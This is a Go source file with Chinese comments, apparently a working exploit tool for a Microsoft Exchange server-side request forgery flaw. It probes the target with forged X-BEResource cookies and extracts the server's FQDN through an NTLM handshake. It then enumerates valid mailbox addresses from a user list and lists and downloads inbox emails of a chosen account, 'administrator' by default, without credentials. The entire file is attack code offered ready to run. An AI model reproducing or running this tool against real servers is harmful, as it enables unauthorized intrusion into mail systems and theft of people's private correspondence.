|
package main |
|
|
|
import ( |
|
"crypto/tls" |
|
"flag" |
|
"fmt" |
|
"time" |
|
"io" |
|
"io/ioutil" |
|
"net/http" |
|
//"net/url" |
|
"os" |
|
"strings" |
|
"regexp" |
|
"encoding/base64" |
|
"bufio" |
|
"strconv" |
|
) |
|
|
|
//检测漏洞存在脚本 |
|
func Verify(targetUrl string) bool { |
|
tr := &http.Transport{ |
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, |
|
} |
|
client := &http.Client{Transport: tr} |
|
|
|
req, _ := http.NewRequest("GET", targetUrl, nil) |
|
req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;") |
|
resp, _ := client.Do(req) |
|
defer resp.Body.Close() |
|
body, _ := ioutil.ReadAll(resp.Body) |
|
|
|
if strings.Contains(string(body), "NegotiateSecurityContext") { |
|
return true |
|
} else { |
|
return false |
|
} |
|
} |
|
|
|
func append16(v []byte, val uint16) []byte { |
|
return append(v, byte(val), byte(val>>8)) |
|
} |
|
|
|
func append32(v []byte, val uint16) []byte { |
|
return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24)) |
|
} |
|
|
|
const ( |
|
negotiateUnicode = 0x0001 // Text strings are in unicode |
|
negotiateOEM = 0x0002 // Text strings are in OEM |
|
requestTarget = 0x0004 // Server return its auth realm |
|
negotiateSign = 0x0010 // Request signature capability |
|
negotiateSeal = 0x0020 // Request confidentiality |
|
negotiateLMKey = 0x0080 // Generate session key |
|
negotiateNTLM = 0x0200 // NTLM authentication |
|
negotiateLocalCall = 0x4000 // client/server on same machine |
|
negotiateAlwaysSign = 0x8000 // Sign for all security levels |
|
) |
|
|
|
//生成ntlm type1 |
|
func Negotiate() []byte { |
|
var ret []byte |
|
flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM |
|
|
|
ret = append(ret, "NTLMSSP\x00"...) // protocol |
|
ret = append32(ret, 1) // type |
|
ret = append32(ret, uint16(flags)) // flags |
|
ret = append16(ret, 0) // NT domain name length |
|
ret = append16(ret, 0) // NT domain name max length |
|
ret = append32(ret, 0) // NT domain name offset |
|
ret = append16(ret, 0) // local workstation name length |
|
ret = append16(ret, 0) // local workstation name max length |
|
ret = append32(ret, 0) // local workstation name offset |
|
ret = append16(ret, 0) // unknown name length |
|
ret = append16(ret, 0) // ... |
|
ret = append16(ret, 0x30) // unknown offset |
|
ret = append16(ret, 0) // unknown name length |
|
ret = append16(ret, 0) // ... |
|
ret = append16(ret, 0x30) // unknown offset |
|
|
|
return ret |
|
} |
|
|
|
//利用ntlm type2 获取有效信息 fqdn |
|
func Ntlminfo(targetUrl string) (fqdn string, domain string) { |
|
|
|
//var fqdn string |
|
|
|
tr := &http.Transport{ |
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, |
|
} |
|
client := &http.Client{Transport: tr} |
|
|
|
req, _ := http.NewRequest("GET", targetUrl, nil) |
|
req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate()))) |
|
req.Header.Add("Accept","text/xml") |
|
resp, _ := client.Do(req) |
|
|
|
reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`) |
|
reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`) |
|
reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`) |
|
reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`) |
|
reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`) |
|
reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`) |
|
|
|
for _, values := range resp.Header { |
|
type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";"))) |
|
if type2 != "" { |
|
decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2)) |
|
fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "") |
|
domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "") |
|
} |
|
} |
|
return |
|
} |
|
|
|
func Postxml(targetUrl string, fqdn string, xmlcontent string) string { |
|
|
|
//urlProxy, _ := url.Parse("http://127.0.0.1:8080") |
|
tr := &http.Transport{ |
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, |
|
// Proxy: http.ProxyURL(urlProxy), |
|
} |
|
client := &http.Client{Transport: tr} |
|
|
|
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent)) |
|
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn)) |
|
req.Header.Add("Content-Type", "text/xml") |
|
//fmt.Println(req) |
|
resp2, _ := client.Do(req) |
|
//defer resp2.Body.Close() |
|
body2, _ := ioutil.ReadAll(resp2.Body) |
|
|
|
return string(body2) |
|
} |
|
|
|
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) { |
|
//fmt.Println(userfile) |
|
ufile, err := os.Open(userfile) |
|
if err != nil { |
|
fmt.Println("文件错误") |
|
os.Exit(0) |
|
} |
|
defer ufile.Close() |
|
|
|
fmt.Println("正确邮箱地址:\n") |
|
|
|
br := bufio.NewReader(ufile) |
|
for { |
|
name, _, c := br.ReadLine() |
|
if c == io.EOF { |
|
fmt.Println("\n完成。") |
|
break |
|
} |
|
if strings.Contains(string(name), "@") { |
|
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name))) |
|
if strings.Contains(str, string(name)) { |
|
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name))) |
|
}else { |
|
fmt.Println(string(name)) |
|
} |
|
}else{ |
|
address := fmt.Sprintf("%s@%s", string(name), domainneame) |
|
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address)) |
|
if strings.Contains(str, string(name)) { |
|
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address)) |
|
}else { |
|
fmt.Println(address) |
|
} |
|
} |
|
time.Sleep(time.Duration(stime)*time.Second) |
|
} |
|
} |
|
|
|
func makefile(fileName string, conntent string) { |
|
|
|
f, err := os.Create(fileName) |
|
defer f.Close() |
|
if err != nil { |
|
fmt.Println(err.Error()) |
|
} else { |
|
_, _ = f.Write([]byte(conntent)) |
|
} |
|
} |
|
|
|
func main(){ |
|
|
|
var maddress string |
|
|
|
host := flag.String("h", "", "必填,目标地址或域名") |
|
filepath := flag.String("U", "", "选填,需要枚举的用户列表") |
|
stime := flag.String("t", "1", "选填,请求延迟时间") |
|
desfqnd := flag.String("n", "", "选填,需要指定 FQND 事填写") |
|
list := flag.Bool("l", false, "选填,列出邮件列表") |
|
emailadd := flag.String("u", "administrator", "选填,指定目标") |
|
downl := flag.Bool("d", false, "选填,下载邮件") |
|
flag.Parse() |
|
|
|
targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host) |
|
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host) |
|
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host) |
|
sleep_time, _ := strconv.Atoi(*stime) |
|
|
|
if *host == "" { |
|
fmt.Println("请输入目标IP地址") |
|
os.Exit(0) |
|
} |
|
|
|
fmt.Println("检测漏洞存在中...") |
|
if Verify(targetUrl) == true { |
|
fmt.Println("漏洞存在...继续") |
|
}else{ |
|
fmt.Println("漏洞不存在...END") |
|
os.Exit(0) |
|
} |
|
|
|
mailnum := `<?xml version="1.0" encoding="utf-8"?> |
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" |
|
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" |
|
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> |
|
<soap:Body> |
|
<m:GetFolder> |
|
<m:FolderShape> |
|
<t:BaseShape>Default</t:BaseShape> |
|
</m:FolderShape> |
|
<m:FolderIds> |
|
<t:DistinguishedFolderId Id="inbox"> |
|
<t:Mailbox> |
|
<t:EmailAddress>%s</t:EmailAddress> |
|
</t:Mailbox> |
|
</t:DistinguishedFolderId> |
|
</m:FolderIds> |
|
</m:GetFolder> |
|
</soap:Body> |
|
</soap:Envelope>` |
|
|
|
maillist := `<?xml version='1.0' encoding='utf-8'?> |
|
<soap:Envelope |
|
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' |
|
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' |
|
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' |
|
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> |
|
<soap:Body> |
|
<m:FindItem Traversal='Shallow'> |
|
<m:ItemShape> |
|
<t:BaseShape>AllProperties</t:BaseShape> |
|
</m:ItemShape> |
|
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" /> |
|
<m:ParentFolderIds> |
|
<t:DistinguishedFolderId Id='inbox'> |
|
<t:Mailbox> |
|
<t:EmailAddress>%s</t:EmailAddress> |
|
</t:Mailbox> |
|
</t:DistinguishedFolderId> |
|
</m:ParentFolderIds> |
|
</m:FindItem> |
|
</soap:Body> |
|
</soap:Envelope>` |
|
|
|
download := `<?xml version="1.0" encoding="utf-8"?> |
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" |
|
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" |
|
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> |
|
<soap:Body> |
|
<m:GetItem> |
|
<m:ItemShape> |
|
<t:BaseShape>AllProperties</t:BaseShape> |
|
<t:BodyType>Text</t:BodyType> |
|
</m:ItemShape> |
|
<m:ItemIds> |
|
<t:ItemId Id="%s" ChangeKey="%s" /> |
|
</m:ItemIds> |
|
</m:GetItem> |
|
</soap:Body> |
|
</soap:Envelope>` |
|
|
|
fqndstr, domainstr := Ntlminfo(ewsUrl) |
|
|
|
fmt.Println("目标 FQND 为: ", fqndstr) |
|
|
|
if *filepath != "" { |
|
Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time) |
|
} |
|
|
|
if *desfqnd != "" { |
|
fqndstr = *desfqnd |
|
} |
|
|
|
if strings.Contains(*emailadd, "@") { |
|
maddress = *emailadd |
|
}else{ |
|
maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr) |
|
} |
|
|
|
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress)) |
|
//fmt.Println(str) |
|
|
|
if strings.Contains(str, maddress) { |
|
fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress)) |
|
}else if strings.Contains(str, "Success") { |
|
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`) |
|
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`) |
|
mnum := reg02.ReplaceAllString(reg01.FindString(str), "") |
|
fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为: ", mnum) |
|
if *list == true { |
|
if mnum != "0"{ |
|
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress)) |
|
|
|
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`) |
|
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`) |
|
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`) |
|
|
|
id := reg_id.FindAllStringSubmatch(contents, -1) |
|
key := reg_key.FindAllStringSubmatch(contents, -1) |
|
subject := reg_sub.FindAllStringSubmatch(contents, -1) |
|
|
|
for i := 0; i < 5 ; i++{ |
|
fmt.Println("---------") |
|
fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1]) |
|
fmt.Println() |
|
} |
|
|
|
if *downl == true { |
|
for i := 0; i < 5 ; i++{ |
|
fmt.Println("正在下载第 ", i," 份邮件") |
|
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1])) |
|
makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd) |
|
} |
|
fmt.Println("下载完成") |
|
} |
|
|
|
}else{ |
|
fmt.Println("目标邮箱无邮件!") |
|
} |
|
} |
|
}else{ |
|
fmt.Println("默认 FQND 无效请更换其他服务器") |
|
} |
|
} |